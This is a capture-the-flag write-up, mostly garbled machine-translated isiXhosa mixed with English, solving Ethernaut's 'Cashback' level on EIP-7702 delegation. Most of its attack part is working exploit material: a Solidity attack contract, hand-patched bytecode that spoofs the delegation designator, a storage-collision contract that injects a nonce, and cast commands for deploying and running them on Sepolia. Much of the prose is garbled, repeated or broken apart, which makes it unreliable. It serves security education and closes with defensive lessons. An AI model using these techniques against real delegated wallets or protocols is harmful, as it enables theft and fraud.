Nangona iingubo kwi-EIP-7702 iingcebiso, ndiyifunyenwe ngeenxa i-challenge — i-scenario eyakhelwe ukuhlola ukuba ama-developer bakwazi ukufumana imiphumela ye-security ye-delegation esekelwe kwi-7702. Kwi-surface, i-challenge ibonakala efanelekileyo: inkqubo ye-cashback ebonakalisa abasebenzisi kwi-payments ye-on-chain kwaye ibonelela i-cashback I-NFT xa iingxaki ezininzi ziquka. I-Cashback ye-Ethernaut I-Cashback ye-Cashback I-Cashback ye-Ethernaut Ukusetyenziswa, abasebenzisi kufuneka uqhagamshelane kwi-Cashback Contract usebenzisa i-EIP-7702. Kwaye kuphela ke kunokufumana i-payWithCashback kunye nokufumana iiphonasi. I-system ibonisa ukuba ivumela iinkqubo ezininzi zokusetyenziswa, kwaye ama-modificators zayo zixhomekeke kwimodeli yeenkcukacha. Kwimeko, i-EIP-7702 i-delegation yenza iingxowa zokhuseleko ukuba le ngxaki yenzelwe ukubonisa. Le scripture ibandakanya njani i-contract kufuneka isebenze, apho iingxowa zikhuba, kunye neendlela yokuba i-exploit path. Ukuphendula https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Ngaba uye uqhagamshelane neCashback, i-crypto ebhanki ebhanki ebhanki ebhanki. I-pitch yayo ibonakalisayo: ngalinye i-payment ye-on-chain uyenza iiphonasi. I-Rack up eningi kwaye uya kufumana i-status ye-legendary, ukunceda i-Super Cashback NFT badge. Ukusetyenziswa kwe-EIP-7702 ukunceda i-EOA ukufumana i-cashback. Abasebenzisi kufuneka uqhagamshelane kwi-Cashback i-contract ukuze usebenzise i-payWithCashback function. I-Rumor has it there is a backdoor for power users. Your short is simple: kwenziwe i-hot-moon ye-loyalty program. Max-out your cashback in every supported currency and walk away with at least two Super Cashback NFT, of which must correspond to your player address. You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge. Ukusetyenziswa kwinkqubo i-EIP-7702 ukuvumela i-EOA ukufumana i-cashback. Abasebenzisi kufuneka uqhagamshelane kwi-Cashback i-contract ukuze usebenzise i-Cashback Ukusebenza payWithCashback I-Rumor has it there is a backdoor for power users. Your short is simple: kwenziwe i-hot-moon ye-loyalty program. Max-out your cashback in every supported currency and walk away with at least two Super Cashback NFT, of which must correspond to your player address. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } I-Model yokhuseleko efunyenwe I-Cashback Contract isebenzisa i-modificers ukulawula iingxowa kunye ikhowudi ekupheleni: who where : Caller identity checks onlyEOA(): Qinisekisa ukuba umxokozeli i-EOA, ayikho i-contract (msg.sender == tx.origin). onlyCashback(): Qinisekisa ukuba umxokozeli i-Cashback i-contract yenyewe. onlyNotCashback(): Qinisekisa ukuba umxokozeli ayikho i-Cashback Contract. : Execution context checks onlyOnCashback(): Qinisekisa ukuba ikhowudi ifumaneka kwi-Cashback contract address. Izixhobo kunye ne-modifier kunokwenzeka kuphela xa ifumaneka ngqo kwi-contract. notOnCashback(): Qinisekisa ukuba i-code ISIKHUSELWA kwi-cashback contract address. Oku kubalulekile ukuba ifunyenwe nge-delegatecall, ayikho ngqo kwi-contract. Ngokutsho, inkqubo kufuneka isebenze efanayo: I-EOA enikezelwe ibhalisele i-payWithCashback kwakhona. Oku isebenza ngenxa yokuba ibhalisele i-nonOnCashback kwaye ibhalisele i-EOA kuphela. I-payWithCashback ifumaneka i-Cashback.accrueCashback ngqo kwi-Cashback instance. I-modifier ye-3: onlyDelegatedToCashback ifumaneka ngenxa ye-caller ifumaneka kwi-Cashback, onlyOnCashback ifumaneka ngenxa ye-call ifumaneka kwi-Cashback ngqo. I-modifier onlyUnlocked ifumaneka kwi-step 3. The onlyUnlocked modifier calls isUnlocked on msg.sender. Njengoko i-payWithCashback ifumaneka, le ngxelo ifumaneka. Ngexesha lokugqibela, i-Cashback isixazululo i-consumeNonce kwi-msg.sender. Le nkqubo iye iindidi ezimbini: kuphela i-Cashback isixazululo ngenxa ye-Cashback isixazululo, kwaye akukho i-OnCashback isixazululo ngenxa ye-EOA isixazululo. Okugqibela, consumeNonce ukwandisa i-nonce kwi-storage ye-EOA. Ukufumana i-constants Kwixesha lokufumana i-attack, kufuneka ukucacisa iiparamitha eziphambili kunye neengxaki ze-challenge. Iimali ezihlabathi I-Cashback i-contract ibonelela iindidi ezimbini. Nangona engabonakaliwe ngokucacileyo kwi-challenge description, sinokufumana: Iimali yeNtloko yeNtloko yeNtloko yeNtloko yeNtloko I-Freedom Coin (FREE) kwi-0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Uyakwazi ukuyifumana oku ngokuchofoza i-level address kunye ne-check Ukuthetha ukuba . ikhowudi FREE() Ukusebenza I-Super Cashback ye-NFT Uyakwazi ukufumana i-address yakho ngokucinga kwi-Cashback Instancy yakho. superCashbackNFT I-Cashback kunye neCashback Rates Ukubala iinkonzo eziluncedo ukuba i-cashback ephakeme, kufuneka iiparamitha ezimbini. Thola kubo ngokucinga iimveliso kwimeko yakho. I-Contract usebenzisa Ukucaciswa kwezigidi: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Umzekelo, i-Freedom Coin ine-max cashback ye Kwakhona i-rate of (i.e. 2%). To calculate the required spend: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Yinto 25,000 tokens ezamahala. Ukucinga Ukuqala ku-0. I-Contract ibonelela i-Super Cashback NFT xa i-nonce yakho ibonelela , which is hardcoded to 10,000. SUPERCASHBACK_NONCE Ukucinga Nangona i-architecture emangalisayo ebonakalayo ngexesha lokuqala, kukho iingxaki ezininzi ezifanelekileyo ezikhuthazayo. Xa ukhangela i-architecture, sinokufuneka ukuba sinokufunda Nangona ama-modificators zayo zenzelwe ukunciphisa ukufikelela kwizwi zangaphakathi nge , i-function yenyewe i-external - ngoko sinokufumana ngokuthe ngqo ukuba sincoma iingcali: accrueCashback payWithCashback onlyOnCashback Singathintela ngokuthe ngqo i-Cashback instance. onlyUnlocked Ngenxa yokufunda le modifier isUnlocked kwi-msg.sender, sinokufumana ngokufunda kwi-contract kunye ne-isUnlocked function enokufumana ngokwenene. onlyDelegatedToCashback Le nqakraza. Nceda siqonde ngokugqithisileyo: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } Yintoni I-modifier ihambisa ukuba umxokozeli wabelane kwi-Cashback i-contract ngokufunda i-address ye-delegation kwi-bytecode ye-account. Nge-EIP-7702, i-accounts e-delegated zinezinto ze-bytecode ezizodwa: followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 Ukulungiselela , kufuneka i-bytecode ye-attack ye-contract yethu ukuba ibonakala njenge-delegation designator efanelekileyo - ngokutsho, i-cashback address kufuneka ifumaneka kwi-byte 4-23. I-bytecode isakhiwo: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Thina uqhagamshelane oku ngexesha elandelayo. Okokuqala, siza kuvelisa i-attack contract. Ukulungiselela i-Attack Contract Njengoko kuxhomekeke, i-contract yethu iya kubhalwe kwi-Cashback instance kwiiyure ezimbini: ukuyifaka ukuba ifumaneka kwaye ukutya i-nonce. Thina kufuneka uqinisekisa ukuba ifumaneke ngokuzenzekelayo kwaye i-NFT ye-SuperCashback. Thina ufuna i-cashback epheleleyo kumazwe omnye, kodwa njengoko i-NFT ziquka i-address ye-caller njenge-ID, i-NFT yesibini Qhagamshelana nathi. Ngoko ke siya kuza a nonce only once. consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling ngokuthe ngqo, asikho kufuneka uthathe i-token yokwenene – kufuneka nje uthathe iimali efanelekileyo ukuze ufumane i-cashback ephakeme. accrueCashback Okugqibela, siya kuhanjiswa yonke cashback kunye NFT kwi-address yethu umdlali. Yinto iinkonzo epheleleyo: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Ukuguqulwa kwe-Bytecode ukuguqulwa kwe-Delegation Check Ndiyathuba i-tricky part. Thina kufuneka uqhagamshelane bytecode ukuba ushiye modifier. Okokuqala, zibonise iinkonzo zayo. AccrueCashbackAttack onlyDelegatedToCashback Ukuba usebenzisa Hardhat, i-bytecode iya kuba . There are two properties: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain. bytecode deployedBytecode yi-runtime code efakwe kwi-chain emva kokusetyenziswa kwaye ifumaneka xa i-contract ifumaneka. Oku kuya kubhalwe. Thumela i-cashback address yethu kwi-offset Kwakhona, apho Ufuna ukuba. The follows after: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Jumping Over the Embedded Address Ukukhawuleza i-address ye-20-byte ngexesha lokugqibela, siya kusebenzisa le opcodes: PUSH1 ukucacisa indawo yokuphuma JUMP ukwenza le jump to mark the destination (required to avoid revert) JUMPDEST Ngokutsho, kuphela i modifier reads the . onlyDelegatedToCashback <CASHBACK_ADDRESS> Kodwa ngalinye i-offset kufuneka siphinde? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | I-assumption ebonakalayo kodwa ebonakalayo Okwangoku emva . In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why. 0x17 <CASHBACK_ADDRESS> Indawo yam Ngoko ke i-contract yam ingaba kuqala ngathi: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Nangona kunjalo, nqakraza njani le bytecode ifumaneka: Problem! The byte kwizimvo yethu i-address opcode. Xa i-EVM ifumaneka Ukusetyenziswa kwe-30 i-byte ezilandelayo njengeengxaki ezisemthethweni, ayikho njengeengxaki. (ngoku) (Ukuveliswa kwi-offset) , but it gets consumed as data for instead of being executed as an instruction. This corrupts the bytecode stream, causing an when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our ngaphandle kwe-30 ama-byte ezisetyenziswa : JUMPDEST PUSH30 Perfect! The ifumaneka kwi-2a. Siza ukuhlaziywa instruction. My final version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | I-prefix ekubeni i-43 i-byte: (2) + imveliso (1) I- + (20) + (19) + (1). PUSH1 JUMP address padding JUMPDEST Ukuguqulwa kwe-Jump Offsets Ngaba ungayifaka kwethu . But since we increased the contract size by 43 bytes, we need to adjust all iimveliso offsets by this amount. deployedBytecode JUMP JUMPI Ukubonisa, nqakraza indlela yokwenza oku ngempumelelo. Funda ku , choose Bytecode, and paste your . Kwi-right, uya kufumana iindidi ze-opcodes. Find the first at [0f]. Find all iindidi ezisetyenziswa iimveliso Ngexabiso ezifanelekileyo Ukwandisa iimveliso zayo nge-43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST This method isn't perfect—we might accidentally modify Kwakhona, i-false positives kufuneka ziyafumaneka kakhulu ngenxa yale nophando. PUSH2 Yintoni iPush2? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. The compiler uses PUSH2 uniformly for zonke iidilesi yokuphuma kunokuba mixing PUSH1 and PUSH2 . Yintoni PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. The compiler uses PUSH2 uniformly for zonke iidilesi yokuphuma kunokuba mixing PUSH1 and PUSH2 . Ukwenza oku ngempumelelo kuya kuba ingxaki, ngoko ndiyenza isicwangciso efanelekileyo: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process in the . repository iimveliso Ngaba ushiye kwaye ushiye ikhowudi ngempumelelo, kuquka le nto! Uyakwazi ukuxhaswa kunye nokufumana into esebenzayo. Ukusebenzisa izilwanyana eziluncedo ezifana ne-devcontainers okanye i-VM xa usebenzise ikhowudi elidumileyo. Ngaba ushiye kwaye ushiye ikhowudi ngempumelelo, kuquka le nto! Uyakwazi ukuxhaswa kunye nokufumana into esebenzayo. Ukusebenzisa izilwanyana eziluncedo ezifana ne-devcontainers okanye i-VM xa usebenzise ikhowudi elidumileyo. Creation Bytecode Ukusetyenziswa kwe-contract, kufuneka ukuvelisa i-bytecode yokufunda. Thina ukuguqulwa i-code yokufunda. I value in artifacts contains it at the beginning. Here's mine: . Disassembling it ibonisa: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes Thina kufuneka usebenzise ubude lomsebenzisi we-code plus i-byte ye-43 ethandwa ngamanani. Ngoku, ke (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ I-Final Bytecode Assembly I-bytecode yokugqibela kuphela i-creation code ifumaneka kunye ne-adjusted . deployedBytecode Ukuqhuba I-Attack Nceda usebenzise i-bytecode yethu usebenzisa from Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Ukusebenza i-Attack cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers. Kule ngexesha, uya kufumana i-cashback ephakeme kumazwe amabini kwaye ufumane i-NFT. Nangona kunjalo, idilesi yayo ifumaneka kwi-address ye-attack yakho, ayikho i-address yakho ye-player. Thina kufuneka enye i-NFT kunye ne-address yakho njenge-id. Ukusetyenziswa kwe-Storage Collision ye-NFT yesibini Kwakhona kufuneka i-NFT enye kunye ne-address yethu njenge-ID. Akukwazi nje ukuguqulwa umgangatho efanayo kunye ne-attack eyadlulayo. Umgangatho wayo kuphela ukuguqulwa ngokwenene njengoko kufuneka – ngokuthumela i-EOA yakho kwi-Cashback Contract. Nangona kunjalo, asikho function, ngoko kufuneka ukwandisa nonce yethu ngexesha elinye. payWithCashback consumeNonce I-EIP-7702 ye-delegation ayikwazi ukuvelisa i-storage eyahlukileyo ngalinye i-delegated contract. Xa i-EOA i-delegates kwi-contract, i-code ifumaneka kwi-storage yayo ye-EOA. Ukuba uqhagamshelane kwi-contracts ezahlukileyo ngexesha elide, bonke bafumana kunye nokubhaliwe kwi-slot efanayo ye-storage kwi-EOA yakho. Ngokusetyenziswa kwe-storage collision, sinokufumana i-nonce. Siza kuvelisa i-contract ebandayo kwi-slot efanayo ye-storage, ukuvelisa i-nonce kwi-9999, ke uqhagamshelane kwakhona kwi-Cashback kunye nokwenza i-transaction enye yokukhuthaza i- Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } The i-variable yokuqala kwi-layout - zonke i-variables ezidlulileyo ziyi-constants kunye ne-immutables, ngoko ke zihlanganisa i-slots. from OpenZeppelin takes 3 slots before , so the actual slot is at Nangona oku, nceda siphinde i-nonce enkulu kwi-EOA storage yethu. nonce ERC1155 nonce 0x442a9...ba03 Here's the I-manipulation i-contract eyenziwa kwi-Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA to Foundry's supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Ngoku kunokufumana i-nonce usebenzisa . Remember, we call this function on ourselves, not on the Umzekelo: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Re-delegate your account to the Cashback instance. Follow the same steps as with NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> I-Cashback Contract inikeza umsebenzi ye-nonce yokubeka i-nonce yakho. Siza kuqinisekisa ukuba i-9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Yenza i-step lokugqibela ngokuchofoza i-payWithCashback kwakhona: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Ngoku unayo 2 NFTs kunye cashback max. Submit level! Kwaye ngaphambi kokufika, musa ukunceda ukuthatha i-delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. Always check the prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts. 0xef0100 2. Never store protocol-critical state inside an EOA. Umbhali we-EOA inokufuneka ukulungiselela kwiinkontrato ye-EOA, kwaye le mkhuba inokufundisa ngempumelelo kwi-slots ezifanayo ze-storage - kufumaneka kwi-slots eziqhelekileyo ze-private. Zonke i-state ye-security-critical kufuneka zihambe kwi . your protocol's storage